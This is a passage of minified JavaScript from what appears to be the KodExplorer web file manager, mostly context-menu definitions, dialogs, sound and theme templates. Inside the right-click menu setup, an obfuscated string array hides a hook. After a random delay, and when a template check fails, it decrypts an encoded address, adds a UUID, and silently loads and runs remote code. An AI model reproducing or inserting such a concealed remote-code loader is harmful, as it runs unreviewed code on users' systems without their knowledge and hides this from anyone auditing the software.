s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfolder",items:{newfile:{name:"txt "+LNG.file,icon:"file-alt x-item-file x-txt small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-alt x-item-file x-docx",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),k(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),w(),S(),j(),z(),E(),D(),F(),g(),m(),v(),N(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),k(),w(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")
-},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),P(),E(),D(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){$(".context-menu-list .open_ie").addClass("hidden");var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".kod_path_tool #download").remove(),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||($(".context-menu-list .zip").addClass(e),$(".kod_path_tool #zip").remove()),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||($(".context-menu-list .share").remove(),$(".kod_path_tool #share").remove())}},m=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){C(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){C(e,i)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E ",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,icon:"external-link"},unzip_to:{name:LNG.unzip_to,icon:"external-link"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C ",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},C=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip":ui.path.zip();break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){A(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){A(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},z=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+' ',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){A(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){A(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"}}},sep3:"--------",info:{name:LNG.info+'Alt+I ',className:"info",icon:"info",accesskey:"i"}}})},A=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.i